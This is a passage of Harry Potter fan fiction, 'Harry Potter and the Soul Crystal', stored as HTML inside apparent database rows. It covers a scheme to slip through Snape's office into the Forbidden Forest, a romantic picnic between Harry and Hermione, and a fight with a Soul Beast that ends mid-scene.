drawn to the crystal like a bloody magnet!&quot; Hermione said in a raised voice. <p>\n\n</p></dd><dd> Harry sighed angrily. &quot;Is there some kind of protection spell we can put on Wendy?&quot; <p>\n\n</p></dd><dd> Hermione backed down a little. &quot;Alright I\'ll look,&quot; she said as she sighed. &quot;But if I can\'t find something she needs to stay here.&quot; <p>\n\n</p></dd><dd> Wendy spoke up. &quot;Okay.&quot; Everyone looked at her for an explanation to her sudden change of mind. &quot;Harry\'s got enough evil relatives,&quot; she remarked with a half laugh. <p>\n\n</p></dd><dd> Everyone nodded in agreement. Hermione headed off to the library and came back with a huge stack of books. The gang sat down around the fireplace, hoping to pull yet another rabbit out of their hats. <p> .........TO BE CONTINUED<br>\n\n\n</p><center>===========================================================================</center>\n\n'),
	(31, 11, ' <center> Harry Potter and the Soul Crystal - Chapter 11 <p>\n\n</p><dd>The only characters/things I own are Wendy Kitanya, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the deednim reecal spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p> ==========================================================================<br>\n ==========================================================================</p><p>\n\n</p></dd></center>\n\n<dd> Hermione slammed the ancient book she was reading closed, shattering the tense air of the room. Everyone nearly jumped out of their skin. <p>\n\n</p></dd><dd> &quot;Geez, Hermione!&quot; Ron complained, breathing heavily. &quot;I reckon you took nearly three years off my life!&quot; <p>\n\n</p></dd><dd> Hermione rolled her eyes. &quot;Do you want to hear this or not?&quot; <p>\n\n</p></dd><dd> Ron sighed with exasperation. &quot;What?&quot; <p>\n\n</p></dd><dd> Hermione turned to Wendy. &quot;Hand me your cross,&quot; she said as she held out her hand. <p>\n\n</p></dd><dd> Wendy took off the cross necklace she was wearing and tentatively handed it over. It was silver and ornately designed, strung on a black cord with a barrel clasp. &quot;Here,&quot; she said as Hermione took it. &quot;Please be careful. It\'s very old.&quot; <p>\n\n</p></dd><dd> Hermione gently tapped the cross with the end of her wand. &quot;Deednim reecal.&quot; The cross glowed yellow for a moment and then returned to normal. She handed it back to Wendy. &quot;As long as you wear that you\'ll be able to resist the crystals call. You\'ll still feel the pull of it though.&quot; <p>\n\n</p></dd><dd> Wendy nodded in understanding. &quot;Okay.&quot; She smiled and put her necklace back on. <p>\n\n</p></dd><dd> &quot;Now we just have to figure out how to get past the forest guards,&quot; Harry said, drumming his fingers on the coffee table. <p>\n\n</p></dd><dd> &quot;We\'ll just wear the invisibility cloak,&quot; Ron piped up. <p>\n\n</p></dd><dd> Hermione shook her head. &quot;I\'m sure Professor Dumbledore has had an anti-invisibility charm cast on the forest edge.&quot; <p>\n\n</p></dd><dd> Everyone sighed. They all just sat there, staring at nothing. Just when it seemed like the silence would never end Harry slapped the coffee table, snapping everyone out of their trance. &quot;The Marauder\'s map!&quot; <p>\n\n</p></dd><dd> &quot;Yes! We could see if there\'s a passage leading to the forest,&quot; Ron replied excitedly. <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;There!&quot; Harry stabbed at a spot on the map. &quot;It ends not far behind Hagrid\'s hut.&quot; <p>\n\n</p></dd><dd> Hermione lurched. ::Urk:: &quot;.....Look where it begins,&quot; she said tensely. Everyone moaned at the spot on the map where her finger rested.....Snape\'s Office. <p>\n\n</p></dd><dd> &quot;Bloody Hell. It would be Snape. There\'s a ruddy conspiracy against us I\'m telling you,&quot; Ron complained. <p>\n\n</p></dd><dd> &quot;How are we going to manage this one? Snape\'s been loads more cautious since I took those ingredients,&quot; Hermione lamented. &quot;His office door has an enchanted lock on it that only works with a special key.&quot; <p>\n\n</p></dd><dd>Another moment of silence ensued. <p>\n\n</p></dd><dd> &quot;If we wait for Snape to go in there....,&quot; Harry started to say. <p>\n\n</p></dd><dd> &quot;Oh right. \'Excuse me, Professor. What was last night\'s homework? Oh, and while we\'re in here can we check your office for the entrance to a secret tunnel that will lead us into the forest?\' Get real, Harry,&quot; Ron said in a withering tone of voice. <p>\n\n</p></dd><dd> Harry shot Ron a dirty look. &quot;Let me finish. If we could get him to leave the office in a hurry he might forget to lock the door.&quot; <p>\n\n</p></dd><dd> &quot;Brilliant Harry!&quot; Hermione exclaimed admiringly. <p>\n\n</p></dd><dd> &quot;But how do we get him to leave?&quot; Ron asked. <p>\n\n</p></dd><dd> Suddenly Wendy\'s eyes went wide. &quot;I\'ve got the perfect idea.&quot; Everyone just stared at her. &quot;Let\'s go talk to the twins,&quot; she said with a grin. <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> George handed a small bag to Harry. &quot;Now be careful with those,&quot; he warned, looking pointedly at Wendy. <p>\n\n</p></dd><dd> Wendy suddenly looked very embarrassed. &quot;I said I was sorry,&quot; she said as she shuffled her foot. <p>\n\n</p></dd><dd> &quot;S\'okay,&quot; George said, smiling. Wendy smiled. Then they stopped moving. <p>\n\n</p></dd><dd> Harry looked from George to Wendy and back again. Then he looked at Fred who seemed to be extremely annoyed. He leaned over to Fred and whispered. &quot;What\'s going on here?&quot; <p>\n\n</p></dd><dd> &quot;Geez. Ron was right. You are clueless,&quot; Fred rolled his eyes as he whispered back. <p>\n\n</p></dd><dd> Harry looked at the two again. He blinked rapidly in realization. &quot;They....like each other?&quot; <p>\n\n</p></dd><dd> Fred patted Harry on the shoulder. &quot;Very good, Harry. You get a shiny gold star.&quot; <p>\n\n</p></dd><dd> Harry glared at him, then ahemed loudly. &quot;Uh guys.&quot; No response. &quot;Guys? GUYS!&quot; Harry yelled, loosing his patience. <p>\n\n</p></dd><dd> Wendy\'s face went red and she turned to her brother. &quot;Um...yeah...yes.....sorry.&quot; <p>\n\n</p></dd><dd> &quot;Now these are our new and improved seeds. They wait about five seconds before sprouting,&quot; George commented, eager to change the subject. <p>\n\n</p></dd><dd> &quot;Okay. Now we just have to make sure that Snape thinks Peeves did this,&quot; Hermione said. <p>\n\n</p></dd><dd> &quot;Now it wouldn\'t be nice for you to get ol\' Peeves in trouble,&quot; came Peeves\' voice from behind Hermione. <p>\n\n</p></dd><dd> Hermione whirled around to see only Ron standing behind her. Ron grimaced a bit as Hermione\'s hair hit him in the face from her quick turn. &quot;Ron, you scared me,&quot; she complained, poking a finger in his chest. <p>\n\n</p></dd><dd> &quot;Convincing isn\'t it?&quot; Ron said, rather pleased with himself. <p>\n\n</p></dd><dd> &quot;I\'d say that problem is solved,&quot; Harry said smiling. &quot;We\'ll do it after dinner.&quot; <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> It was about an hour before dinner and Harry James Potter was nervous. <i>&quot;I really hope she likes this.&quot;</i> he thought. He was sitting under one of the light willows behind the castle. Light willows looked like every other willow except that the leaves at the ends of the branches glowed with a bioluminescence. There were six of these trees all together in a very small grove. <p>\n\n</p></dd><dd> Harry had set up a very nice candle light picnic dinner, with special permission from Dumbledore of course. He fiddled with the latch on a small black case that sat on the ground next to him. A light dancing in the distance caught his attention. As it got closer he could tell it was a lantern. &quot;Mione,&quot; he said as he stood and waved. &quot;Over here!&quot; <p>\n\n</p></dd><dd> The light stopped moving for a moment, then headed straight in Harry\'s direction. Finally Hermione came out of the darkness and Harry\'s breath caught in his throat. She was wearing a simple, navy blue turtleneck sweater and jeans but they accentuated her curves in all the right places. She looked at him with concern. &quot;Harry? Are you okay?&quot; <p>\n\n</p></dd><dd> Harry blinked and tried very hard not to think about how her jeans hugged her hips. &quot;Ehm yeah. Sorry. I must have zoned out,&quot; he said. <p>\n\n</p></dd><dd> &quot;Okay. So what\'s the surprise?&quot; she said expectantly. <p>\n\n</p></dd><dd> Harry grinned and asked Hermione to sit down. He then walked over to a black cloth and removed it. Hermione could barely make out what looked like dinner. He winked at her then held up his index finger. After a moment of staring at it a very small flame began emanating from the tip. Hermione gasped. &quot;Harry, that\'s wonderful! How did you learn to control it so well?&quot; <p>\n\n</p></dd><dd> Harry used his finger to light five candles sitting in a very ornate holder. Then, just to be silly, he blew out the flame at the tip of his finger like it was a smoking gun. &quot;Actually, I wish I knew,&quot; he said as he took a seat across from Hermione. &quot;I\'ve just been practicing. Nothing else.&quot; <p>\n\n</p></dd><dd> Hermione looked very proud. &quot;Amazing,&quot; she commented. <p>\n\n</p></dd><dd> Harry stared at the way the candle light moved over Hermione\'s face. It gave her almost an ethereal quality. &quot;No. You\'re amazing,&quot; he said with a wistful smile. <p>\n\n</p></dd><dd> Hermione blushed. &quot;Thank you,&quot; she said as she played with a strand of hair. <p>\n\n</p></dd><dd> Harry was suddenly serious. &quot;No. I mean it. You\'ve got so many great qualities. I don\'t think I could name them all,&quot; he said as he looked at her with awe. <p>\n\n</p></dd><dd> Hermione blushed again. &quot;I think you\'re inheriting some of your Dad\'s smoothness as you get older, Harry.&quot; Suddenly, her smile disappeared and she looked down. <p>\n\n</p></dd><dd> &quot;What\'s wrong?&quot; Harry asked as he placed a hand on hers. <p>\n\n</p></dd><dd> &quot;It\'s just......I\'m confused. I don\'t know how you can think all these wonderful things about me and not love me,&quot; she said with a slight twinge of sadness in her voice. <p>\n\n</p></dd><dd> Harry winced. &quot;Oh, Mione.&quot; He sighed. &quot;Listen. It\'s just I don\'t know what being in love feels like and I want to make sure what I\'m feeling is love before I actually say it. Can\'t you just be patient?&quot; he said in a pleading voice. <p>\n\n</p></dd><dd> Hermione bit her lower lip. &quot;I guess.&quot; Suddenly she perked up and wiped away the tears that had started to form. &quot;You know what? Let\'s not talk about this now. I want to enjoy the dinner you made,&quot; she said with a smile. <p>\n\n</p></dd><dd> Harry slumped his shoulders. &quot;Ummm, actually I didn\'t make it. Dobby did,&quot; he said with regret. <p>\n\n</p></dd><dd> Hermione giggled and placed a reassuring hand on his shoulder. &quot;Don\'t worry about it. I don\'t mind. It\'s the thought that counts.&quot; <p>\n\n</p></dd><dd> Dinner ended about an hour after that. They talked and laughed. Finally Harry brought the small black case onto his lap. Hermione looked at it curiously. &quot;What\'s that?&quot; she asked. <p>\n\n</p></dd><dd> &quot;A surprise you never would\'ve expected from me in a million years,&quot; he said half laughing. He opened the case and Hermione\'s eyes went wide as saucers. <p>\n\n</p></dd><dd> &quot;An ocarina! But...I can\'t play,&quot; she said gloomily. <p>\n\n</p></dd><dd> Harry shook his head. &quot;It\'s not for you. It\'s mine. I...I...um...well just......listen,&quot; he said as he picked the instrument up. <p>\n\n</p></dd><dd> Harry brought the mouthpiece to his lips and the world around Hermione simply melted away. It was like no tune she had ever heard. <i>&quot;Where in the name of Merlin did he learn to play like that?&quot;</i> she thought. She closed her eyes and let the music wash over her. She felt like crying from the beauty of the music. The wind gently caressed them both and she felt like it just completed the mood. And then all too soon it was over. She had to shake her head a little to bring herself back to reality. &quot;That was,&quot; she swallowed, trying to find the words, &quot;the most beautiful thing I\'ve ever heard.&quot; She breathed heavily. Her heart was beating so fast she felt it might burst through her chest. &quot;Where...who taught you to play?&quot; <p>\n\n</p></dd><dd> Harry smiled broadly, having achieved his desired effect. &quot;Sirius...over the summer.&quot; <p>\n\n</p></dd><dd> Hermione eyes went wide again. &quot;You learned how to do that in ONE summer?&quot; she said, the shock in her voice abundantly evident. <p>\n\n</p></dd><dd> Harry half-smiled and shrugged, suddenly a little embarrassed. &quot;Sirius said I\'ve got natural talent.&quot; <p>\n\n</p></dd><dd> &quot;Obviously,&quot; Hermione replied with a smile. &quot;What song was that?&quot; <p>\n\n</p></dd><dd> &quot;Not a song really. I was just playing whatever came to me.&quot; Harry smiled. <p>\n\n</p></dd><dd> &quot;You\'re kidding!&quot; Hermione said as she went slack jawed. <p>\n\n</p></dd><dd> &quot;Nope.&quot; Harry moved over to sit next to her. <p>\n\n</p></dd><dd> Hermione turned to face him. The wind was rustling through his hair, there was candle light on his face, and his eyes.......his eyes.... Before she knew what was happening she was kissing him. He brushed light little kisses across her lips. This sent sparks of electricity down her spine. A gust of wind blew out the candles. She needed more. She put her hand on the back of his neck and pulled him in closer. She kissed him hungrily. There was nothing but Harry. <p>\n\n</p></dd><dd> Harry wrapped his arms around Hermione\'s waist. He drank in her scent deeply. <i>&quot;God, she smells good.&quot;</i> he thought. He lowered his lips to her neck. She made small moaning sounds. Completely of it\'s own free will his hand moved to brush her left breast. <i>&quot;She\'s so soft.&quot;</i> He got a little bolder and began to caress it gently. <p>\n\n</p></dd><dd> Hermione felt Harry\'s hand cup her breast. She sucked in a breath as his hand began moving. She felt like she was on fire. <i>&quot;I never knew it felt this good.&quot;</i> she swooned. <p>\n\n</p></dd><dd>\n\n<i>&quot;She...she....feels.....so.....AHH! OH HELL!&quot;</i> He quickly broke away from her. &quot;Hermione,&quot; he said in between heavy breaths. &quot;We...we need to stop..........before I can\'t,&quot; he said as he stared into her eyes. <p>\n\n</p></dd><dd> Hermione\'s breathing began to slow a bit. <i>&quot;What did I almost do?&quot;</i> &quot;You\'re right. Let\'s um...let\'s get back inside,&quot; she said, gasping for air. <p>\n\n</p></dd><dd> The young couple packed up the stuff from dinner, careful not to touch each other for fear of loosing control again. Trying desperately to talk about normal things, they headed back up to the castle. <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> Harry and Hermione walked down the hall with their friends in silence. No one but they knew why. Harry was staring at the map, watching Snape\'s dot. Finally Ron, looking at Wendy, spoke up. &quot;When exactly were you planning on telling us?&quot; <p>\n\n</p></dd><dd> Wendy looked at him with apprehension. &quot;Telling you what?&quot; <p>\n\n</p></dd><dd> &quot;That you like George,&quot; Ron stated flatly. <p>\n\n</p></dd><dd> Wendy suddenly looked very uncomfortable. She took a moment to answer. &quot;I don\'t know. I just......there\'s not much to tell,&quot; she looked at her feet. &quot;It\'s just kinda flirting right now.&quot; <p>\n\n</p></dd><dd> Ron chuckled. &quot;Why do you look like I\'m going to bite your head off?&quot; <p>\n\n</p></dd><dd> &quot;I dunno. I guess I expected you to be all weird about it cause he\'s your brother.......,&quot; she began. <p>\n\n</p></dd><dd> &quot;Snape\'s in! Let\'s go.&quot; Harry interrupted. He grabbed Hermione\'s hand and they walked quickly towards Snape\'s office. <p> .........TO BE CONTINUED<br>\n\n\n</p><center>=============================================================</center>\n\n '),
	(31, 12, ' <center> Harry Potter and the Soul Crystal - Chapter 12 <p>\n\n</p><dd>The only characters/things I own are Wendy Kitanya, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the deednim reecal spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p> ==========================================================================<br>\n ==========================================================================</p><p>\n\n</p></dd></center>\n\n<dd>As soon as the door to Snape\'s office clicked shut the quartet set about their task. &quot;Okay. Everyone under the cloak,&quot; Harry said as held the it up. <p>\n\n</p></dd><dd>Ron knocked on the door. &quot;Yes?&quot; came Snape\'s muffled reply. A moment passed and Ron knocked again. &quot;Come IN!&quot; Snape said loudly, clearly annoyed. <p>\n\n</p></dd><dd>Ron cleared his throat. &quot;Knocky knocky, who\'s there?&quot; he said in a perfect imitation of Peeve\'s irritating voice. He topped it off with a maniacal laugh. It was at that moment that Ron tossed a handful of the flamingo seeds under the door. Five seconds later a they heard a sound like popcorn popping. <p>\n\n</p></dd><dd>&quot;PEEVES!&quot; Snape roared. The door flew open. He stood in the doorway, obviously wondering where Peeves had gotten to, holding a blue, plastic flamingo by the base of the neck. He was red with anger. He stormed down the hall, disappearing into the blackness. &quot;Argus!&quot; he fumed, opening the door to Filch\'s office. &quot;I demand you do something about this!&quot; The door slammed behind him. <p>\n\n</p></dd><dd> Everyone hurried in through Snape\'s open door. &quot;Let\'s go. We don\'t have much time,&quot; Harry commanded, pushing aside the flamingos that were in their way. They stopped in front of a section of wall where the bricks came out in a sort of half-pillar. Harry\'s heart was beating like a jack rabbit. His hands flew over the stones, looking for anything unusual. <p>\n\n</p></dd><dd>&quot;Get the Bloody Barron if you have to! I want this rumpus stopped now!&quot; Snape\'s voice suddenly boomed out in the hallway. <p>\n\n</p></dd><dd> &quot;He\'s coming back! Hurry, Harry!&quot; Wendy said in a loud whisper. <p>\n\n</p></dd><dd> Harry\'s breathing quickened. He was nearly at full panic when he noticed something on one of the blocks. In very tiny letters were carved the initials \'J.P\'. That had to be it. He pushed on the stone and the entire round section of wall rolled back into itself. The group piled through the entrance. It slid back into place just as Snape came around the edge of the door. <p>\n\n</p></dd><dd> Snape looked around his office with a confused glare. &quot;I could have sworn I heard a noise in here.&quot; <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> Everyone moved in silence for a few moments to make sure they were out of earshot of Snape. Hermione saw a torch on the wall in the dim light. &quot;Incendio,&quot; the light from the torch revealed more along the walls of the long tunnel. She repeated her spell and the rest of the torches danced merrily with flame. The tunnel seemed older than the rest of the castle. &quot;I wonder if this is one of the Druid escape tunnels,&quot; she mused.. <p>\n\n</p></dd><dd> &quot;Huh?&quot; Wendy questioned, tripping a little over a small rock. <p>\n\n</p></dd><dd> &quot;The druids were constantly persecuted. So they often built tunnels like this to escape to forests where they could hide.&quot; Hermione looked around in amazement. &quot;This tunnel must even be older than Hogwarts.&quot; <p>\n\n</p></dd><dd> &quot;Wow,&quot; Ron remarked. <p>\n\n</p></dd><dd> They walked for about fifteen minutes before a cold breeze rattled it\'s way down the passage. &quot;We must be close,&quot; Harry said. They came to a dead end. He looked up and saw a trap door. &quot;Wendy. Give me a boost?&quot; <p>\n\n</p></dd><dd> &quot;Sure,&quot; Wendy replied. She went down on one knee. &quot;Get on my shoulders.&quot; <p>\n\n</p></dd><dd> Harry climbed onto his sister\'s back and grabbed her hands. She stood up and, using her hands for balance, so did he. He banged on the door. It didn\'t move. He got irritated and banged harder. After a moment it fell inward. The resulting rain of dirt caused Wendy and Harry to loose their balance and fall to the floor in an undignified heap, knocking down Hermione in the process. <p>\n\n</p></dd><dd> Everyone was coughing from the cloud of dust that rose off the floor. Harry pushed himself up from the floor with his arms. He saw Hermione lying on her back, her eyes were closed. He saw that she also had a cut on her forehead. He felt a sudden sense of panic. &quot;Mione?&quot; he said. <p>\n\n</p></dd><dd> Hermione groaned as her right hand rose to her cut. She opened her eyes. &quot;Are you okay?&quot; Harry asked her. <p>\n\n</p></dd><dd> Hermione was taken aback by the look of concern on Harry\'s face. &quot;Are you worried about this?&quot; she said as she pointed to her forehead. Harry nodded. She waved her hand dismissively. &quot;Head wounds always look worse than they really are. I\'ll be fine.&quot; <p>\n\n</p></dd><dd> &quot;Okay,&quot; Harry said, seemingly satisfied with her answer. <p>\n\n</p></dd><dd> &quot;Ow,&quot; said Wendy as she pushed herself up off the ground. &quot;Oh damn. Let\'s not do that again.&quot; She smiled, then looked up. &quot;Well. It\'s open anyway.&quot; She blinked as some more stray dirt fell from the opening. <p>\n\n</p></dd><dd> &quot;Now how do we get up there?&quot; Ron asked, dusting some of the dirt off his robes. <p>\n\n</p></dd><dd> Hermione picked up a piece of tree root. &quot;Twindoma,&quot; she said. The root twisted, lengthened, and finally became a rope. <p>\n\n</p></dd><dd> Harry grinned at Hermione. &quot;You\'re just incredible you know that?&quot; he said in awe. <p>\n\n</p></dd><dd> Hermione smiled. &quot;Now we just have to get it up there,&quot; she said. <p>\n\n</p></dd><dd> &quot;Leave that to me,&quot; Wendy said. Hermione handed the rope to her. Wendy tied one end into a loop and swung it lasso style at a very thick root sticking out near the edge of the hole. The rope landed perfectly and she pulled on it to make sure it was secure. She caught everyone\'s surprised stare and smiled. &quot;I used to help my cousin rope wild horses.&quot; <p>\n\n</p></dd><dd> Hermione smiled and began to climb. The rest of the group followed. <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd> Harry pulled Wendy up from the hole. She stood up and scratched her arm absentmindedly. &quot;So now what?&quot; <p>\n\n</p></dd><dd> &quot;See if you can sense where the crystal is,&quot; Harry said. <p>\n\n</p></dd><dd> Wendy had just shut her eyes when she heard a voice call out from behind Harry. &quot;Harry Potter? What brings you out here tonight?&quot; <p>\n\n</p></dd><dd> Wendy thought she was going to pass out with glee. A centaur. A real. Live. Centaur. <i>&quot;I wonder how many other legends are true?&quot;</i> she thought. <p>\n\n</p></dd><dd> The young centaur stepped a bit closer to the group. Harry spoke up. &quot;I\'m sorry. Have we met?&quot; <p>\n\n</p></dd><dd> &quot;My name is Ardian. My father has told me much about you. You shouldn\'t be in the forest now. A terrible beast has awakened and.....&quot; He just stopped talking. All he did was stare at Wendy. <p>\n\n</p></dd><dd> &quot;Ardian?&quot; Harry prodded. &quot;Ardian are you alright?&quot; <p>\n\n</p></dd><dd> Suddenly Ardian dropped to three knees. &quot;Beastmaster. You grace this humble forest with your presence,&quot; he said, his head bowed. <p>\n\n</p></dd><dd> Ron started sniggering. Harry just looked stunned. Hermione grimaced like she knew this would happen. Wendy simply looked confused. &quot;Huh?&quot; <p>\n\n</p></dd><dd> Ardian looked up. &quot;You mean you do not know?&quot; he said disbelievingly. <p>\n\n</p></dd><dd> &quot;Know what?&quot; Wendy replied impatiently. <p>\n\n</p></dd><dd> &quot;Beastmasters are highly respected by we centaurs.&quot; <p>\n\n</p></dd><dd> Wendy put her face in her hand. &quot;Oh dear God.&quot; She walked over to Ardian. &quot;Please get up. This is embarrassing,&quot; she said, offering him her hand. <p>\n\n</p></dd><dd> &quot;My apologies, Beastmaster. I did not mean to offend,&quot; he said as he tentatively took Wendy\'s hand and stood up. <p>\n\n</p></dd><dd> &quot;You didn\'t offend me, but honestly, Harry\'s more worship worthy than I\'ll ever be,&quot; she said, waving a hand at her brother. <p>\n\n</p></dd><dd> Ardian bowed his head slightly. &quot;You are too modest, Beastmaster.&quot; <p>\n\n</p></dd><dd> Wendy rolled her eyes. &quot;And please stop calling me that. My name is Wendy,&quot; she complained, kicking at the dirt. <p>\n\n</p></dd><dd> Ardian merely nodded. &quot;May I join you on your quest?&quot; <p>\n\n</p></dd><dd> &quot;Sorry,&quot; Harry interrupted. &quot;But we\'re doing this ourselves,&quot; he said sternly. <p>\n\n</p></dd><dd> &quot;But Harry, he could know where the crystal is,&quot; Hermione said. <p>\n\n</p></dd><dd> &quot;I don\'t want anyone else involved,&quot; Harry replied. <p>\n\n</p></dd><dd> &quot;Very well then. But please be careful,&quot; Ardian said, bowing his head again. <p>\n\n</p></dd><dd> The group walked away from the centaur, who was waving. <p>\n\n</p></dd><dd> &quot;I wonder where we should start?&quot; Harry asked. <p>\n\n</p></dd><dd> A breeze twisted Wendy\'s hair around her face. She put her hand over her heart. The crystal was calling to her. &quot;Follow me,&quot; she said. With that, she began to walk. <p>\n\n</p></dd><dd> Hermione moved over next to Wendy. &quot;Sorry. I should have warned you,&quot; she said, her voice showing a twinge of regret. <p>\n\n</p></dd><dd> Wendy looked at Hermione out of the corner of her eye. She was trying to concentrate on the crystal. &quot;You knew Ardian would do that?&quot; <p>\n\n</p></dd><dd> Hermione pushed a branch up and out of her way. &quot;I completely forgot about it till he said something.&quot; <p>\n\n</p></dd><dd> Wendy shrugged. &quot;S\'okay. But is anyone else gonna do that?&quot; she asked, pointing behind her with her thumb. <p>\n\n</p></dd><dd> Hermione thought for a second. &quot;Not that I know of. You see centaurs are a little....eccentric.&quot; <p>\n\n</p></dd><dd> Harry snorted. &quot;A little?&quot; <p>\n\n</p></dd><dd> Everyone laughed a little. It helped to ease the nerves that were being ever so kind as to make their stomachs a bit ill. &quot;This definitely wins first prize for creepiest place I\'ve ever been in,&quot; Wendy commented. <p>\n\n</p></dd><dd> &quot;Least we haven\'t seen any giant spiders,&quot; Ron said. <p>\n\n</p></dd><dd> Wendy\'s eyes opened wide. &quot;Giant spiders??&quot; she said in a small voice. <p>\n\n</p></dd><dd> &quot;We almost got killed by giant spiders in here once,&quot; Harry explained. <p>\n\n</p></dd><dd>Ron shivered at the memory. <p>\n\n</p></dd><dd> Suddenly Wendy stopped mid-step. She was staring straight ahead, looking frightened. Harry stepped up to her. &quot;It\'s okay. We\'re nowhere near their nest.&quot; <p>\n\n</p></dd><dd> Wendy shook her head, still staring. &quot;Look,&quot; she said, her voice shaking. <p>\n\n</p></dd><dd> Harry squinted to try and see through the blackness of the night. A small movement caught his attention. A pair of slanted eyes glowed at them in the dim light of their wands. &quot;Beastmaster,&quot; called a low, guttural voice. &quot;Beastmaster come forth. Claim what is yours.&quot; <p>\n\n</p></dd><dd> Suddenly the area in front of them got very bright. Everyone raised their hands to shield their eyes. When they focused again they saw a clearing lit by glowing orbs of light. &quot;Bright spots,&quot; Hermione said, barely above a whisper. <p>\n\n</p></dd><dd> Harry tore his eyes away from the scene in front of him to look at Hermione. &quot;What?&quot; <p>\n\n</p></dd><dd> Hermione gulped and continued. &quot;Hagrid told me about them. They\'re.......they\'re what bubble sprites eat.&quot; <p>\n\n</p></dd><dd> Harry sucked in a breath. &quot;Then this is why the sprites were out of the forest!&quot; he glanced over at Ron, who\'s eyes were blazing. He put a hand on his best friend\'s shoulder. &quot;Calm down, Ron.&quot; <p>\n\n</p></dd><dd> &quot;BEASTMASTER! Come to me now!&quot; the low voice called again. Everyone froze as the soul beast stepped into the clearing. It seemed even more terrible than Harry\'s dreams. <p>\n\n</p></dd><dd> Harry stifled an urge to run away screaming. The beast held out golf ball sized object in it\'s clawed hand......The Soul Crystal. &quot;Take this,&quot; it said to Wendy. &quot;Take it and become the most powerful witch in the world.&quot; <p>\n\n</p></dd><dd> Wendy began to walk forward. She stopped not more than twenty feet away from the beast. She was shaking visibly. &quot;I....I don\'t want it,&quot; she stuttered. The pull on her heart was very strong. It was hard not to rush over to the beast and snatch the crystal from it. <p>\n\n</p></dd><dd> The beast became angry. &quot;Take it! It is impossible for you not to,&quot; it said, and stomped the ground. A slight rumble went through the earth. <p>\n\n</p></dd><dd> &quot;No,&quot; she said with more confidence. &quot;In fact...you\'re gonna give it to my brother.&quot; <p>\n\n</p></dd><dd> The beast laughed loudly. It was a horrible sound. &quot;Foolish girl! Do you take me for a common Unicorn? I can not be controlled by you.&quot; Its eyes narrowed dangerously. &quot;And if you won\'t take it then I have no use for you.&quot; It let out a horrible roar. <p>\n\n</p></dd><dd> &quot;Wendy get out of there!&quot; Harry yelled. <p>\n\n</p></dd><dd> The beast swung back one of it\'s mighty arms, then threw it forward, hitting Wendy in the chest. Hermione screamed as Wendy went flying backwards through the air. Cracking sounds could be heard as branches gave way to the force of her body hitting them. &quot;WENDY!&quot; Harry yelled. <p>\n\n</p></dd><dd> Harry wheeled around on his right foot to face the Soul Beast. &quot;You bastard!&quot; <p>\n\n</p></dd><dd> The beast laughed again. &quot;You will all die!&quot; With that the beast lunged forward towards Harry and the others. <p> .........TO BE CONTINUED<br>\n\n\n</p><p>\n\n</p><center>=============================================================</center>\n\n '),
	(31, 13, ' <center> Harry Potter and the Soul Crystal - Chapter 13 <p>\n\n</p><dd> No matter what happens, keep reading to the end of this chapter. Everything will be okay, I promise. <p> ==========================================================================<br>\n ==========================================================================</p><p>\n\n</p></dd></center>\n\n<dd>Harry raised his wand. He knew what he had to do. He just hoped he wouldn\'t get in trouble for it since it wasn\'t being done to a fellow wizard. &quot;Crucio!&quot; A split second before Harry\'s spell hit the beast he saw the air around it glow. The spell hit what looked like some kind of magic barrier and fizzled into nothingness. <p>\n\n</p></dd><dd>Everyone stood aghast at what had just happened. What could they do if even one of the unforgivable curses wouldn\'t work on it? They didn\'t have much time to think about it before the Soul Beast lunged at Ron. He dove sideways and hit the ground hard. He winced at the sharp pain in his shoulder. The beast rounded on him again and knocked him hard in the stomach. The impact made him roll like a bowling ball through the underbrush. &quot;RON!&quot; Harry and Hermione yelled in unison. <p>\n\n</p></dd><dd> This was too much. They had to get out of there. &quot;Hermione, run! Find Wendy and Ron. I\'ll distract it!&quot; Harry yelled in desperation. <p>\n\n</p></dd><dd>&quot;I\'m not leaving you alone!&quot; Hermione screamed as she ducked out of the way of the beast\'s whip like tail. <p>\n\n</p></dd><dd> &quot;He will not survive,&quot; a woman\'s voice said from behind the trees, unheard by anyone but her companion. <p>\n\n</p></dd><dd> &quot;You know the law. You are forbidden to interfere,&quot; a man answered as he looked on, seemingly bored by the scene before him. <p>\n\n</p></dd><dd> &quot;Please my Lord. He is the first of his line to carry the blood!&quot; the woman pleaded. &quot;Should this not allow me to at least bend the rules a little.&quot; <p>\n\n</p></dd><dd> The man sighed, sounding like he had relented, but just barely. &quot;Very well Selene,&quot; he said as he waved a long, graceful hand at Harry. He raised his arms above his head and a glittery cloud began to circle his feet. It rose to cover his entire body and then he disappeared. Only a few stray specks of light falling from the air echoed his existence. <p>\n\n</p></dd><dd> The woman turned back to stare at Harry. &quot;Thank you, Lord Oberon.&quot; <p>\n\n</p></dd><dd> &quot;GO!&quot; Harry yelled again. He concentrated his thoughts and created a large ball of flame. He threw it at the beast. Although it didn\'t manage to touch the creature, it did succeed in destroying the barrier. It\'s departure was marked by a ripple in the air. <p>\n\n</p></dd><dd> &quot;Now. What to do?&quot; Selene pondered. Her eyes lit up as she looked at Hermione. &quot;Ahhh yes. The girl. He cares for her deeply,&quot; she remarked. Her eyes flashed white, so did the eyes of the Soul Beast. <p>\n\n</p></dd><dd> The beast turned it\'s attention to Hermione again. It roared mightily as it picked up a large spear like rock from the ground and hurled it towards her like a javelin. &quot;HERMIONE!&quot; Harry screamed. He felt like he was running in slow motion as he tried to reach her. The rock plunged itself straight through her chest and emerged on the other side. Blood rained down on the forest floor as it fell from her body. A loud thud sounded as she hit the ground somewhere out of Harry\'s site. &quot;NO!!!!!&quot; Harry screamed. Tears flowed down his face in tiny rivers. <i>&quot;No. No this can\'t be right.&quot;</i>his panicked mind demanded. <i>&quot;She\'s dead. Oh, oh God she\'s.....no....&quot;</i>\n\n<p>\n\n</p></dd><dd> Something inside Harry snapped. His eyes glowed with a fierce white light as he turned to the beast. A strong wind came from nowhere as it whipped around his body, making his hair dance wildly around his face. 